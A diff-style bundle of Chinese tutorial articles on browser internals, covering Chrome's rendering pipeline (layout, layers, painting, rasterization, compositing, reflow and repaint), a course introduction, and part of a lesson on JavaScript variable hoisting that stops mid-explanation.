现在我们有DOM树和DOM树中元素的样式但这还不足以显示页面因为我们还不知道DOM元素的几何位置信息。**那么接下来就需要计算出DOM树中可见元素的几何位置我们把这个计算过程叫做布局**。
Chrome在布局阶段需要完成两个任务创建布局树和布局计算。
### 1. 创建布局树
你可能注意到了DOM树还含有很多不可见的元素比如head标签还有使用了display:none属性的元素。所以**在显示之前,我们还要额外地构建一棵只包含可见元素布局树**。
我们结合下图来看看布局树的构造过程:
<img src="https://static001.geekbang.org/resource/image/8e/0e/8e48b77dd48bdc509958e73b9935710e.png" alt="">
从上图可以看出DOM树中所有不可见的节点都没有包含到布局树中。
为了构建布局树,浏览器大体上完成了下面这些工作:
- 遍历DOM树中的所有可见节点并把这些节点加到布局树中
- 而不可见的节点会被布局树忽略掉如head标签下面的全部内容再比如body.p.span这个元素因为它的属性包含 dispaly:none所以这个元素也没有被包进布局树。
### 2. 布局计算
现在我们有了一棵完整的布局树。那么接下来,就要计算布局树节点的坐标位置了。布局的计算过程非常复杂,我们这里先跳过不讲,等到后面章节中我再做详细的介绍。
在执行布局操作的时候会把布局运算的结果重新写回布局树中所以布局树既是输入内容也是输出内容这是布局阶段一个不合理的地方因为在布局阶段并没有清晰地将输入内容和输出内容区分开来。针对这个问题Chrome团队正在重构布局代码下一代布局系统叫LayoutNG试图更清晰地分离输入和输出从而让新设计的布局算法更加简单。
## 总结
好了,今天正文就到这里,我画了下面这张比较完整的渲染流水线,你可以结合这张图来回顾下今天的内容。
<img src="https://static001.geekbang.org/resource/image/a4/9a/a4a0ea4da58260aafc9aabdd37613f9a.png" alt="">
从图中可以看出本节内容我们介绍了渲染流程的前三个阶段DOM生成、样式计算和布局。要点可大致总结为如下
- 浏览器不能直接理解HTML数据所以第一步需要将其转换为浏览器能够理解的DOM树结构
- 生成DOM树后还需要根据CSS样式表来计算出DOM树所有节点的样式
- 最后计算DOM元素的布局信息使其都保存在布局树中。
到这里我们的每个节点都拥有了自己的样式和布局信息,那么后面几个阶段就要利用这些信息去展示页面了,由于篇幅限制,剩下的这些阶段我会在下一篇文章中介绍。
## 思考时间
最后给你留个思考题如果下载CSS文件阻塞了会阻塞DOM树的合成吗会阻塞页面的显示吗
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,195 @@
<audio id="audio" title="06 | 渲染流程HTML、CSS和JavaScript是如何变成页面的" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/28/52/28e24a5972bef66fe8a572ba124cd252.mp3"></audio>
在[上篇文章](https://time.geekbang.org/column/article/118205)中,我们介绍了渲染流水线中的**DOM生成、样式计算**和**布局**三个阶段,那今天我们接着讲解渲染流水线后面的阶段。
这里还是先简单回顾下上节前三个阶段的主要内容在HTML页面内容被提交给渲染引擎之后渲染引擎首先将HTML解析为浏览器可以理解的DOM然后根据CSS样式表计算出DOM树所有节点的样式接着又计算每个元素的几何坐标位置并将这些信息保存在布局树中。
## 分层
现在我们有了布局树,而且每个元素的具体位置信息都计算出来了,那么接下来是不是就要开始着手绘制页面了?
答案依然是否定的。
因为页面中有很多复杂的效果如一些复杂的3D变换、页面滚动或者使用z-indexing做z轴排序等为了更加方便地实现这些效果**渲染引擎还需要为特定的节点生成专用的图层,并生成一棵对应的图层树**LayerTree。如果你熟悉PS相信你会很容易理解图层的概念正是这些图层叠加在一起构成了最终的页面图像。
要想直观地理解什么是图层你可以打开Chrome的“开发者工具”选择“Layers”标签就可以可视化页面的分层情况如下图所示
<img src="https://static001.geekbang.org/resource/image/e2/c0/e2c917edf5119cddfbec9481372f8fc0.png" alt="">
从上图可以看出,渲染引擎给页面分了很多图层,这些图层按照一定顺序叠加在一起,就形成了最终的页面,你可以参考下图:
<img src="https://static001.geekbang.org/resource/image/cd/78/cd6aac705501d48bda6e8eebca058b78.png" alt="">
现在你知道了**浏览器的页面实际上被分成了很多图层,这些图层叠加后合成了最终的页面**。下面我们再来看看这些图层和布局树节点之间的关系,如文中图所示:
<img src="https://static001.geekbang.org/resource/image/e8/61/e8a7e60a2a08e05239456284d2aa4061.png" alt="">
通常情况下,**并不是布局树的每个节点都包含一个图层,如果一个节点没有对应的层,那么这个节点就从属于父节点的图层**。如上图中的span标签没有专属图层那么它们就从属于它们的父节点图层。但不管怎样最终每一个节点都会直接或者间接地从属于一个层。
那么需要满足什么条件,渲染引擎才会为特定的节点创建新的图层呢?通常满足下面两点中任意一点的元素就可以被提升为单独的一个图层。
**第一点,拥有层叠上下文属性的元素会被提升为单独的一层。**
页面是个二维平面但是层叠上下文能够让HTML元素具有三维概念这些HTML元素按照自身属性的优先级分布在垂直于这个二维平面的z轴上。你可以结合下图来直观感受下
<img src="https://static001.geekbang.org/resource/image/a0/19/a03eb12053aac1ac496b61a424f20119.png" alt="">
从图中可以看出明确定位属性的元素、定义透明属性的元素、使用CSS滤镜的元素等都拥有层叠上下文属性。
若你想要了解更多层叠上下文的知识,你可以[参考这篇文章](https://developer.mozilla.org/zh-CN/docs/Web/Guide/CSS/Understanding_z_index/The_stacking_context)。
**第二点需要剪裁clip的地方也会被创建为图层。**
不过首先你需要了解什么是剪裁结合下面的HTML代码
```
&lt;style&gt;
div {
width: 200;
height: 200;
overflow:auto;
background: gray;
}
&lt;/style&gt;
&lt;body&gt;
&lt;div &gt;
&lt;p&gt;所以元素有了层叠上下文的属性或者需要被剪裁,那么就会被提升成为单独一层,你可以参看下图:&lt;/p&gt;
&lt;p&gt;从上图我们可以看到document层上有A和B层而B层之上又有两个图层。这些图层组织在一起也是一颗树状结构。&lt;/p&gt;
&lt;p&gt;图层树是基于布局树来创建的为了找出哪些元素需要在哪些层中渲染引擎会遍历布局树来创建层树Update LayerTree。&lt;/p&gt;
&lt;/div&gt;
&lt;/body&gt;
```
在这里我们把div的大小限定为200 * 200像素而div里面的文字内容比较多文字所显示的区域肯定会超出200 * 200的面积这时候就产生了剪裁渲染引擎会把裁剪文字内容的一部分用于显示在div区域下图是运行时的执行结果
<img src="https://static001.geekbang.org/resource/image/6a/0c/6a583733735edc1e4d7946740eb6fc0c.png" alt="">
出现这种裁剪情况的时候,渲染引擎会为文字部分单独创建一个层,如果出现滚动条,滚动条也会被提升为单独的层。你可以参考下图:
<img src="https://static001.geekbang.org/resource/image/7b/97/7b6ceaab23c6c6d8e5930864ff9d7097.png" alt="">
所以说,元素有了层叠上下文的属性或者需要被剪裁,满足其中任意一点,就会被提升成为单独一层。
## 图层绘制
在完成图层树的构建之后,渲染引擎会对图层树中的每个图层进行绘制,那么接下来我们看看渲染引擎是怎么实现图层绘制的?
试想一下,如果给你一张纸,让你先把纸的背景涂成蓝色,然后在中间位置画一个红色的圆,最后再在圆上画个绿色三角形。你会怎么操作呢?
通常,你会把你的绘制操作分解为三步:
1. 绘制蓝色背景;
1. 在中间绘制一个红色的圆;
1. 再在圆上绘制绿色三角形。
渲染引擎实现图层的绘制与之类似,会把一个图层的绘制拆分成很多小的**绘制指令**,然后再把这些指令按照顺序组成一个待绘制列表,如下图所示:
<img src="https://static001.geekbang.org/resource/image/40/08/40825a55214a7990bba6b9bec6e54108.png" alt="">
从图中可以看出,绘制列表中的指令其实非常简单,就是让其执行一个简单的绘制操作,比如绘制粉色矩形或者黑色的线等。而绘制一个元素通常需要好几条绘制指令,因为每个元素的背景、前景、边框都需要单独的指令去绘制。所以在图层绘制阶段,输出的内容就是这些待绘制列表。
你也可以打开“开发者工具”的“Layers”标签选择“document”层来实际体验下绘制列表如下图所示
<img src="https://static001.geekbang.org/resource/image/30/70/303515c26fcd4eaa9b9966ad7f190370.png" alt="">
在该图中区域1就是document的绘制列表拖动区域2中的进度条可以重现列表的绘制过程。
## 栅格化raster操作
绘制列表只是用来记录绘制顺序和绘制指令的列表,而实际上绘制操作是由渲染引擎中的合成线程来完成的。你可以结合下图来看下渲染主线程和合成线程之间的关系:
<img src="https://static001.geekbang.org/resource/image/46/41/46d33b6e5fca889ecbfab4516c80a441.png" alt="">
如上图所示,当图层的绘制列表准备好之后,主线程会把该绘制列表**提交commit**给合成线程,那么接下来合成线程是怎么工作的呢?
那我们得先来看看什么是视口,你可以参看下图:
<img src="https://static001.geekbang.org/resource/image/24/72/242225112f2a3ec97e736c960b88d972.png" alt="">
通常一个页面可能很大,但是用户只能看到其中的一部分,我们把用户可以看到的这个部分叫做**视口**viewport
在有些情况下,有的图层可以很大,比如有的页面你使用滚动条要滚动好久才能滚动到底部,但是通过视口,用户只能看到页面的很小一部分,所以在这种情况下,要绘制出所有图层内容的话,就会产生太大的开销,而且也没有必要。
基于这个原因,**合成线程会将图层划分为图块tile**这些图块的大小通常是256x256或者512x512如下图所示
<img src="https://static001.geekbang.org/resource/image/bc/52/bcc7f6983d5ece8e2dd716f431d0e052.png" alt="">
然后**合成线程会按照视口附近的图块来优先生成位图,实际生成位图的操作是由栅格化来执行的。所谓栅格化,是指将图块转换为位图**。而图块是栅格化执行的最小单位。渲染进程维护了一个栅格化的线程池,所有的图块栅格化都是在线程池内执行的,运行方式如下图所示:
<img src="https://static001.geekbang.org/resource/image/d8/20/d8d77356211e12b47bb9f508e2db8520.png" alt="">
通常栅格化过程都会使用GPU来加速生成使用GPU生成位图的过程叫快速栅格化或者GPU栅格化生成的位图被保存在GPU内存中。
相信你还记得GPU操作是运行在GPU进程中如果栅格化操作使用了GPU那么最终生成位图的操作是在GPU中完成的这就涉及到了跨进程操作。具体形式你可以参考下图
<img src="https://static001.geekbang.org/resource/image/a8/87/a8d954cd8e4722ee03d14afaa14c3987.png" alt="">
从图中可以看出渲染进程把生成图块的指令发送给GPU然后在GPU中执行生成图块的位图并保存在GPU的内存中。
## 合成和显示
一旦所有图块都被光栅化合成线程就会生成一个绘制图块的命令——“DrawQuad”然后将该命令提交给浏览器进程。
浏览器进程里面有一个叫viz的组件用来接收合成线程发过来的DrawQuad命令然后根据DrawQuad命令将其页面内容绘制到内存中最后再将内存显示在屏幕上。
到这里经过这一系列的阶段编写好的HTML、CSS、JavaScript等文件经过浏览器就会显示出漂亮的页面了。
## 渲染流水线大总结
好了我们现在已经分析完了整个渲染流程从HTML到DOM、样式计算、布局、图层、绘制、光栅化、合成和显示。下面我用一张图来总结下这整个渲染流程
<img src="https://static001.geekbang.org/resource/image/97/37/975fcbf7f83cc20d216f3d68a85d0f37.png" alt="">
结合上图,一个完整的渲染流程大致可总结为如下:
1. 渲染进程将HTML内容转换为能够读懂的**DOM树**结构。
1. 渲染引擎将CSS样式表转化为浏览器可以理解的**styleSheets**计算出DOM节点的样式。
1. 创建**布局树**,并计算元素的布局信息。
1. 对布局树进行分层,并生成**分层树**。
1. 为每个图层生成**绘制列表**,并将其提交到合成线程。
1. 合成线程将图层分成**图块**,并在**光栅化线程池**中将图块转换成位图。
1. 合成线程发送绘制图块命令**DrawQuad**给浏览器进程。
1. 浏览器进程根据DrawQuad消息**生成页面**,并**显示**到显示器上。
## 相关概念
有了上面介绍渲染流水线的基础,我们再来看看三个和渲染流水线相关的概念——**“重排”“重绘”和“合成”**。理解了这三个概念对于你后续Web的性能优化会有很大帮助。
### 1. 更新了元素的几何属性(重排)
你可先参考下图:
<img src="https://static001.geekbang.org/resource/image/b3/e5/b3ed565230fe4f5c1886304a8ff754e5.png" alt="">
从上图可以看出如果你通过JavaScript或者CSS修改元素的几何位置属性例如改变元素的宽度、高度等那么浏览器会触发重新布局解析之后的一系列子阶段这个过程就叫**重排**。无疑,**重排需要更新完整的渲染流水线,所以开销也是最大的**。
### 2. 更新元素的绘制属性(重绘)
接下来我们再来看看重绘比如通过JavaScript更改某些元素的背景颜色渲染流水线会怎样调整呢你可以参考下图
<img src="https://static001.geekbang.org/resource/image/3c/03/3c1b7310648cccbf6aa4a42ad0202b03.png" alt="">
从图中可以看出,如果修改了元素的背景颜色,那么布局阶段将不会被执行,因为并没有引起几何位置的变换,所以就直接进入了绘制阶段,然后执行之后的一系列子阶段,这个过程就叫**重绘**。相较于重排操作,**重绘省去了布局和分层阶段,所以执行效率会比重排操作要高一些**。
### 3. 直接合成阶段
那如果你更改一个既不要布局也不要绘制的属性,会发生什么变化呢?渲染引擎将跳过布局和绘制,只执行后续的合成操作,我们把这个过程叫做**合成**。具体流程参考下图:
<img src="https://static001.geekbang.org/resource/image/02/2c/024bf6c83b8146d267f476555d953a2c.png" alt="">
在上图中我们使用了CSS的transform来实现动画效果这可以避开重排和重绘阶段直接在非主线程上执行合成动画操作。这样的效率是最高的因为是在非主线程上合成并没有占用主线程的资源另外也避开了布局和绘制两个子阶段所以**相对于重绘和重排,合成能大大提升绘制效率**。
至于如何用这些概念去优化页面,我们会在后面相关章节做详细讲解的,这里你只需要先结合“渲染流水线”弄明白这三个概念及原理就行。
## 总结
通过本文的分析你应该可以看到Chrome的渲染流水线还是相当复杂晦涩且难以理解不过Chrome团队在不断添加新功能的同时也在不断地重构一些子阶段目的就是**让整体渲染架构变得更加简单和高效**,正所谓大道至简。
通过这么多年的生活和工作经验来看,无论是做架构设计、产品设计,还是具体到代码的实现,甚至处理生活中的一些事情,能够把复杂问题简单化的人都是具有大智慧的。所以,在工作或生活中,你若想要简化遇到的问题,就要刻意地练习,练就抓住问题本质的能力,把那些复杂的问题简单化,从而最终真正解决问题。
## 思考时间
在优化Web性能的方法中减少重绘、重排是一种很好的优化方式那么结合文中的分析你能总结出来为什么减少重绘、重排能优化Web性能吗那又有那些具体的实践方法能减少重绘、重排呢
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,110 @@
<audio id="audio" title="开篇词 | 参透了浏览器的工作原理你就能解决80%的前端难题" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/2f/ec/2fd70d12b8c5121ce6ae0636a3ea33ec.mp3"></audio>
你好,我是李兵,现在是一名创业者,也是一名工程师。
我是2005年开始工作的基于对新技术的兴趣与敏感性2008年Chromium项目一开源我便第一时间下载体验。随后在创业阶段的我基于Chromium和IE发布了一款双核浏览器太阳花。
这是国内第一款双核浏览器使用它除了能享受到Chrome的快捷之外还能兼容只支持IE的站点。开发过程中最大的挑战是如何在Chromium中集成IE模块为此我花了大量时间来研究Chromium的进程架构以及渲染流程好在功夫不负有心人最终发布的产品也很对得起我的努力在没有任何宣传的情况下日活达到了20多万。
在2011年我就去了盛大创新院参与研发WebOS项目。WebOS的愿景是基于WebKit内核打造一个能和安卓并存的操作系统。我在团队中负责HTML5特性的实现比如实现Web Workers、Application Cache、LocalStorage、IndexedDB、CSS3部分动画效果等。这些工作经历让我对浏览器的整个渲染流程以及HTML5的发展趋势有了更加深入的认知。不过遗憾的是这个项目没能最终上线。
再之后我去了顺网科技。顺网科技是一家网吧服务提供商在顺网我和团队打造了一款给全国网吧使用的“F1浏览器”日启量达到2000万。由于网吧的电脑环境异常复杂页面劫持经常发生所以对页面安全提出来更高的要求再加上每天千万级别的启动量所以页面的加载速度和流畅度也至关重要它们直接决定了用户的流失程度。这段工作经历让我对浏览器安全有了全新的理解同时又对页面性能的优化有了系统性的认知。
算下来,我已经处在这个领域从业十余年,这过程中我踩过不少坑,也积累了不少经验,成长很多。从今天起,我会借此机会将我的工作经验分享给你,希望能对你的工作或生活有所帮助,让你学有所得、学有所用。
## 对于应用,浏览器的地位一直很重要
1995年美国网景公司因“网景浏览器”的发布而快速崛起之后网景试图开发一个依靠浏览器的网络操作系统。这引起了微软的注意和警惕于是同年微软发布Windows 95并捆绑了IE大获成功到2002年微软就已经占据了浏览器市场80%的份额。
直到2008年Chrome浏览器横空出世这种垄断局面才算被打破。Chrome浏览器完全颠覆了之前浏览器的架构设计在速度和安全性上占据了绝对优势市场份额占比剧增据 StatCounter 2019年的统计数据显示Chrome占据了63%市场份额。在2010年底Google还推出了一款网络操作系统——ChromeOS。
可以看到,浏览器自诞生之日起,其地位就一直很重要,而且这种重要性还在不断加强。我从浏览器的发展历程中梳理出了**三个大的进化路线希望能让你了解目前的Web应用到底能做什么以及未来能适用于那些新领域**。
**第一个是应用程序Web化**。随着云计算的普及和HTML5技术的快速发展越来越多的应用转向了浏览器/服务器B/S架构这种改变让浏览器的重要性与日俱增视频、音频、游戏几大核心场景也都在往Web的使用场景切换。
**第二个是Web应用移动化**。对于移动设备应用Web天生具有开放的基因虽然在技术层面还有问题尚待解决比如渲染流程过于复杂且性能不及原生应用、离线时用户无法使用、无法接收消息推送、移动端没有一级入口但Google推出了PWA方案来整合Web和本地程序各自的优势。顺便说一句PWA也是我个人非常期待的方案。
**第三个是Web操作系统化**。在我看来Web操作系统有两层含义一是利用Web技术构建一个纯粹的操作系统如ChromeOS二是浏览器的底层结构往操作系统架构方向发展在整个架构演化的大背景下会牵涉诸多改变下面列举一些我认为相对重要的改变。
- Chrome朝着SOA的方向演化未来很多模块都会以服务的形式提供给上层应用使用
- 在浏览器中引入多种编程语言的支持比如新支持的WebAssembly
- 简化渲染流程,使得渲染过程更加直接高效;
- 加大对系统设备特性的支持;
- 提供对复杂Web项目开发的支持。
也就是说,**浏览器已经逐步演化成了操作系统之上的“操作系统”**。
## 为什么需要学习浏览器工作原理?
前面我站在大厂的视角,带你回顾了浏览器的发展历程,梳理了浏览器的进化路线,分析了浏览器发展的大趋势。那接下来,我们再一起看看,开发者为什么需要了解浏览器的工作原理。
### 1. 准确评估Web开发项目的可行性
随着Web特性的极大丰富和浏览器性能的提升越来越多的项目可以用Web来开发。所以了解浏览器是如何工作的能够让你更加准确地决策是否可以采用Web来开发项目。
举个例子去年我做了一个健身房虚拟教练项目时间紧任务重其中有大量的高速渲染动画和快速交互的场景需求。如果采用传统的C++来开发界面那基本上不可能按时交付而且后期的维护也会非常麻烦。于是我决定采用Web方案来开发界面因为采用Web方案可以降低开发成本缩短交付周期。最终利用这个方案我实现了这个项目的提前交付并且效果也很喜人大家对实现的效果非常满意。
对于这个例子,我认为我所做的最正确的事就是**选对了方案**但反过来想如果我对浏览器和HTML5的内容不了解那可能我很容易就放弃了这个最优方案。
### 2. 从更高维度审视页面
作为一名合格的开发者,你还要具备一项重要的技能,那就是:**要能站在用户体验角度来考虑页面性能**。我们看下面几个常见的用户体验指标。
- 当用户请求一个网站时如果在1秒内看不到关键内容用户会产生任务被中断的感觉。
- 当用户点击某些按钮时如果100ms内无法响应用户会感受到延迟。
- 如果Web中的动画没有达到60fps用户会感受到动画的卡顿。
这里的页面加载时长、用户交互反馈时长、Web动画中的帧数都决定了用户体验的流畅度并最终决定了用户体验的效果。在用户体验尤其重要的今天我们必须能够有效地解决这些体验问题以免给产品造成不可挽回的伤害。
但通常这些指标是由一系列的复杂因素导致的。如果你要开发流畅的页面或者诊断Web页面中的性能问题那你就需要了解URL是怎么变成页面的只有弄懂这些之后你才可以站在全局的角度定位问题或者写出高效的代码。
你当然可以把浏览器看成一个黑盒左边输入一个URL经过黑盒处理之后右边返回你预期的效果。如果你对黑盒一无所知你倒依然可以写前端代码也可以使用很多最佳实践的策略来优化代码这就如同不了解操作系统的工作原理同样可以在操作系统上写应用一样。
但如果你理解了这个黑盒子是如何工作的那情况就不同了。你可以站在更高的维度审视你的项目通过全视野快速定位项目中不合理的地方。比如首屏的显示就涉及了DNS、HTTP、DOM解析、CSS阻塞、JavaScript阻塞等技术因素其中一项没处理好就可能导致整个页面的延时。
而如果你了解了浏览器的工作原理,更加可以把这些知识点串成线,连成网,最终形成自己的知识体系,练就像专家一样思考问题、解决问题的能力。
### 3. 在快节奏的技术迭代中把握本质
从2011年到现在前端技术出现了大爆炸式增长各种新技术层出不穷。我认为**Node.js是前端发展的一个核心推动力**。Node.js是基于Chrome的JavaScript引擎V8来实现的它的特点是可以脱离浏览器环境来执行JavaScript于是大家惊讶地发现原来也可以使用JavaScript写服务器程序呀
尽管Node.js的诞生时间不长但其周边已经形成了一个庞大的生态系统。与此同时各种新标准、新技术纷至沓来前端生态空前繁荣。
为什么Node.js能如此快速地发展根本原因还是浏览器功能以及整个前端的开发环境不足以支撑日益增长的需求所以“变化”是这段时期的主旋律。这种变化直接扩大了前端工程师的知识半径**这也导致很多前端开发工程师变成了爆栈工程师**。
虽然前端技术变化快,不过我觉得这里有更大的机遇,谁能快速抓住变化,谁就能收获这波变化带来的红利。
我相信,随着脚本执行效率的提高、页面渲染性能的提升和开发工具链的完善,接下来的前端会进入一个相对平稳的阶段。通俗地理解就是:**等到核心技术足以支撑核心需求,那么前端生态会进入一个相对稳定的状态**。
如果了解了浏览器的工作机制,那么你可以梳理出来前端技术的发展脉络,更加深刻地理解当前的技术,同时你也会清楚其不足之处,以及演化方向。那么接下来,我们看看前端技术是如何针对这些核心诉求做演进的?
**首先是脚本执行速度问题**。比如针对JavaScript设计缺陷和执行效率的问题可以从以下两个途径去解决
- 不断修订和更新语言本身这样你就应该知道ES6、ES7、ES8或者TypeScript出现的必要性。这种修订对目前生态环境的改动是最小的所以推行起来会比较容易。
- 颠覆性地使用新的语言这就是WebAssembly出现的原因。WebAssembly需要经过编译器编译所以体积小、执行速度快使用它能大幅提升语言的执行效率但是语言本身的完善和生态的构建都是需要花很长时间来打造的。
**其次是前端模块化开发**。比如随着Web应用在各个领域的深入Web工程的复杂程度也越来越高这就产生了模块化开发的需求于是相应出现了WebComponents标准。我们所熟悉的React和Vue都在渐进地适应WebComponents标准同时各种前端框架的最佳实践也会反过来影响WebComponents标准的制定。
如果理解了浏览器工作原理那么你会对WebComponents中涉及的Shadow DOM、HTML Templates等技术有更深刻的理解。
**最后是渲染效率问题**。同样如果理解浏览器的渲染流程那么你应该知道目前页面的渲染依然存在很大缺陷然后你就清楚如何避开这些问题从而开发出更加高效的Web应用。与此同时Chrome团队也在着手改善这些缺陷比如正在开发的下一代布局方案LayoutNG还有渲染瘦身方案Slim Paint其目的都是让渲染变得更加简单和高效。
综上可以看出,触发这些改变的背后因素是当前技术制约了现实的需求,所以**了解浏览器是如何工作的,能让你站在更高维度去理解前端**。
## 专栏内容
所以,我希望通过这个专栏的学习,能让你系统地掌握浏览器工作原理,并把理论应用到前端实践。
下面就是这个专栏的目录,通过它你可以快速了解下这个专栏的知识体系结构。
<img src="https://static001.geekbang.org/resource/image/9b/92/9ba059d108b7e84479f2e57d90280892.jpg" alt="">
## 总结
我希望通过这个专栏的学习能让你重新认识浏览器并把网络、页面渲染、JavaScript、浏览器安全等知识串联起来从而让你对整个前端体系有全新的认识。同时我会保证用最简单通俗的语言把复杂的问题讲清楚这也意味着我会在本专栏上花更多时间所以也希望你能和我一起加油高质量学完本专栏。
最后我给你留个思考题吧:**你认为现代的前端工程师需要具备哪些核心的基础技能呢?**
欢迎你把你的想法写到留言区,我们一起来交流和探讨,共同进步。

View File

@@ -0,0 +1,293 @@
<audio id="audio" title="07 | 变量提升JavaScript代码是按顺序执行的吗" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/85/65/856b08fa086c6774270e6b3e50560065.mp3"></audio>
讲解完宏观视角下的浏览器后从这篇文章开始我们就进入下一个新的模块了这里我会对JavaScript执行原理做深入介绍。
今天在该模块的第一篇文章,我们主要讲解**执行上下文**相关的内容。那为什么先讲执行上下文呢?它这么重要吗?可以这么说,**只有理解了JavaScrip的执行上下文你才能更好地理解JavaScript语言本身**,比如变量提升、作用域和闭包等。不仅如此,理解执行上下文和调用栈的概念还能助你成为一名更合格的前端开发者。
不过由于我们专栏不是专门讲JavaScript语言的所以我并不会对JavaScript语法本身做过多介绍。本文主要是从JavaScript的顺序执行讲起然后**一步步带你了解JavaScript是怎么运行的**。
接下来咱们先看段代码,你觉得下面这段代码输出的结果是什么?
```
showName()
console.log(myname)
var myname = '极客时间'
function showName() {
console.log('函数showName被执行');
}
```
使用过JavaScript开发的程序员应该都知道JavaScript是按顺序执行的。若按照这个逻辑来理解的话那么
- 当执行到第1行的时候由于函数showName还没有定义所以执行应该会报错
- 同样执行第2行的时候由于变量myname也未定义所以同样也会报错。
然而实际执行结果却并非如此, 如下图:
<img src="https://static001.geekbang.org/resource/image/fb/03/fbafaba4ad7092cbee011a8a02e38903.png" alt="">
第1行输出“函数showName被执行”第2行输出“undefined”这和前面想象中的顺序执行有点不一样啊
通过上面的执行结果你应该已经知道了函数或者变量可以在定义之前使用那如果使用没有定义的变量或者函数JavaScript代码还能继续执行吗为了验证这点我们可以删除第3行变量myname的定义如下所示
```
showName()
console.log(myname)
function showName() {
console.log('函数showName被执行');
}
```
然后再次执行这段代码时JavaScript引擎就会报错结果如下
<img src="https://static001.geekbang.org/resource/image/a5/c2/a5262e2ca891ea114dfaf1e37f9ca4c2.png" alt="">
从上面两段代码的执行结果来看,我们可以得出如下三个结论。
1. 在执行过程中若使用了未声明的变量那么JavaScript执行会报错。
1. 在一个变量定义之前使用它不会出错但是该变量的值会为undefined而不是定义时的值。
1. 在一个函数定义之前使用它,不会出错,且函数能正确执行。
第一个结论很好理解因为变量没有定义这样在执行JavaScript代码时就找不到该变量所以JavaScript会抛出错误。
但是对于第二个和第三个结论,就挺让人费解的:
- 变量和函数为什么能在其定义之前使用这似乎表明JavaScript代码并不是一行一行执行的。
- 同样的方式变量和函数的处理结果为什么不一样比如上面的执行结果提前使用的showName函数能打印出来完整结果但是提前使用的myname变量值却是undefined而不是定义时使用的“极客时间”这个值。
## 变量提升Hoisting
要解释这两个问题,你就需要先了解下什么是变量提升。
不过在介绍变量提升之前我们先通过下面这段代码来看看什么是JavaScript中的**声明**和**赋值**。
```
var myname = '极客时间'
```
这段代码你可以把它看成是两行代码组成的:
```
var myname //声明部分
myname = '极客时间' //赋值部分
```
如下图所示:
<img src="https://static001.geekbang.org/resource/image/ec/3c/ec882f2d9deec26ce168b409f274533c.png" alt="">
上面是**变量**的声明和赋值,那接下来我们再来看看**函数**的声明和赋值,结合下面这段代码:
```
function foo(){
console.log('foo')
}
var bar = function(){
console.log('bar')
}
```
第一个函数foo是一个完整的函数声明也就是说没有涉及到赋值操作第二个函数是先声明变量bar再把`function(){console.log('bar')}`赋值给bar。为了直观理解你可以参考下图
<img src="https://static001.geekbang.org/resource/image/61/77/611c09ab995b9b608d9c0db193266777.png" alt="">
好了,理解了声明和赋值操作,那接下来我们就可以聊聊什么是变量提升了。
**所谓的变量提升是指在JavaScript代码执行过程中JavaScript引擎把变量的声明部分和函数的声明部分提升到代码开头的“行为”。变量被提升后会给变量设置默认值这个默认值就是我们熟悉的undefined。**
下面我们来模拟下实现:
```
/*
* 变量提升部分
*/
// 把变量 myname提升到开头
// 同时给myname赋值为undefined
var myname = undefined
// 把函数showName提升到开头
function showName() {
console.log('showName被调用');
}
/*
* 可执行代码部分
*/
showName()
console.log(myname)
// 去掉var声明部分保留赋值语句
myname = '极客时间'
```
为了模拟变量提升的效果,我们对代码做了以下调整,如下图:
<img src="https://static001.geekbang.org/resource/image/ce/d5/cefe564dbff729e735a834fd9e3bd0d5.png" alt="">
从图中可以看出,对原来的代码主要做了两处调整:
- 第一处是把声明的部分都提升到了代码开头如变量myname和函数showName并给变量设置默认值undefined
- 第二处是移除原本声明的变量和函数,如`var myname = '极客时间'`的语句移除了var声明整个移除showName的函数声明。
通过这两步,就可以实现变量提升的效果。你也可以执行这段模拟变量提升的代码,其输出结果和第一段代码应该是完全一样的。
通过这段模拟的变量提升代码,相信你已经明白了可以在定义之前使用变量或者函数的原因——**函数和变量在执行之前都提升到了代码开头**。
## JavaScript代码的执行流程
从概念的字面意义上来看,“变量提升”意味着变量和函数的声明会在物理层面移动到代码的最前面,正如我们所模拟的那样。但,这并不准确。**实际上变量和函数声明在代码里的位置是不会改变的而且是在编译阶段被JavaScript引擎放入内存中**。对你没听错一段JavaScript代码在执行之前需要被JavaScript引擎编译**编译**完成之后,才会进入**执行**阶段。大致流程你可以参考下图:
<img src="https://static001.geekbang.org/resource/image/64/1e/649c6e3b5509ffd40e13ce9c91b3d91e.png" alt="">
### 1. 编译阶段
那么编译阶段和变量提升存在什么关系呢?
为了搞清楚这个问题,我们还是回过头来看上面那段模拟变量提升的代码,为了方便介绍,可以把这段代码分成两部分。
**第一部分:变量提升部分的代码。**
```
var myname = undefined
function showName() {
console.log('函数showName被执行');
}
```
**第二部分:执行部分的代码。**
```
showName()
console.log(myname)
myname = '极客时间'
```
下面我们就可以把JavaScript的执行流程细化如下图所示
<img src="https://static001.geekbang.org/resource/image/06/13/0655d18ec347a95dfbf843969a921a13.png" alt="">
从上图可以看出,输入一段代码,经过编译后,会生成两部分内容:**执行上下文Execution context<strong>和**可执行代码</strong>
**执行上下文是JavaScript执行一段代码时的运行环境**比如调用一个函数就会进入这个函数的执行上下文确定该函数在执行期间用到的诸如this、变量、对象以及函数等。
关于执行上下文的细节我会在下一篇文章《08 | 调用栈为什么JavaScript代码会出现栈溢出》做详细介绍现在你只需要知道在执行上下文中存在一个**变量环境的对象**Viriable Environment该对象中保存了变量提升的内容比如上面代码中的变量myname和函数showName都保存在该对象中。
你可以简单地把变量环境对象看成是如下结构:
```
VariableEnvironment:
myname -&gt; undefined,
showName -&gt;function : {console.log(myname)
```
了解完变量环境对象的结构后,接下来,我们再结合下面这段代码来分析下是如何生成变量环境对象的。
```
showName()
console.log(myname)
var myname = '极客时间'
function showName() {
console.log('函数showName被执行');
}
```
我们可以一行一行来分析上述代码:
- 第1行和第2行由于这两行代码不是声明操作所以JavaScript引擎不会做任何处理
- 第3行由于这行是经过var声明的因此JavaScript引擎将在环境对象中创建一个名为myname的属性并使用undefined对其初始化
